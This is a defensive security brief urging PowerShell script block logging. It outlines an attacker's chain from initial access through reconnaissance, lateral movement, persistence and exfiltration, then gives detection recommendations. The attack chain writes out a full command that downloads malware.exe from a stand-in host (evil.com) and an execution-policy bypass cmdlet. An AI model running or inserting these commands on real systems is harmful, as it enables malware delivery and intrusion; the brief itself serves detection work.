Enhancing Detection Capabilities Through PowerShell Script Logging

PowerShell is a powerful scripting language that is frequently abused by threat actors for various malicious purposes, including initial access, lateral movement, and persistence. Enabling and monitoring PowerShell script logging is critical for defenders to gain better visibility into attacker activities. The increased logging provides detailed insights into the commands executed within the PowerShell environment, allowing security teams to identify and respond to suspicious behavior more effectively. This brief focuses on the importance of script logging and provides guidance on how to implement detections based on the collected logs.

Attack Chain

1. An attacker gains initial access to a system, possibly through exploiting a vulnerability or utilizing stolen credentials.
2. The attacker executes a PowerShell script to download a malicious payload from a remote server using powershell.exe -exec bypass -c (New-Object System.Net.WebClient).DownloadFile('http://evil.com/malware.exe', 'C:\Windows\Temp\malware.exe').
3. The attacker uses PowerShell to bypass execution policy restrictions, allowing unsigned scripts to run, using Set-ExecutionPolicy Bypass -Scope Process.
4. The attacker leverages PowerShell to perform reconnaissance, gathering information about the compromised system and network using commands such as Get-NetIPConfiguration and Get-ADDomain.
5. The attacker uses PowerShell to move laterally to other systems on the network by using the Invoke-Command cmdlet.
6. The attacker employs PowerShell to establish persistence by creating a scheduled task that executes a malicious script at regular intervals using Register-ScheduledTask.
7. The attacker utilizes PowerShell to exfiltrate sensitive data from the compromised network to an external server via Base64 encoding and web requests.

Impact

Compromised systems can lead to data breaches, financial losses, and reputational damage. Without proper logging and monitoring of PowerShell activity, organizations may remain unaware of malicious actions, leading to prolonged compromise and greater impact. PowerShell-based attacks can bypass traditional security controls, making them especially dangerous. Enabling comprehensive logging is essential to mitigating this risk.

Recommendation

• Enable PowerShell script block logging to capture the contents of executed scripts (reference: Overview section).
• Deploy the Sigma rules in this brief to your SIEM to detect suspicious PowerShell activity (reference: rules section).
• Monitor for PowerShell processes spawning from unusual parent processes (e.g., Microsoft Word) as an indicator of potential exploitation (reference: Attack Chain Step 2).
• Create alerts for PowerShell commands that bypass execution policies, download files from the internet, or attempt to exfiltrate data (reference: Attack Chain steps 2, 3, and 7).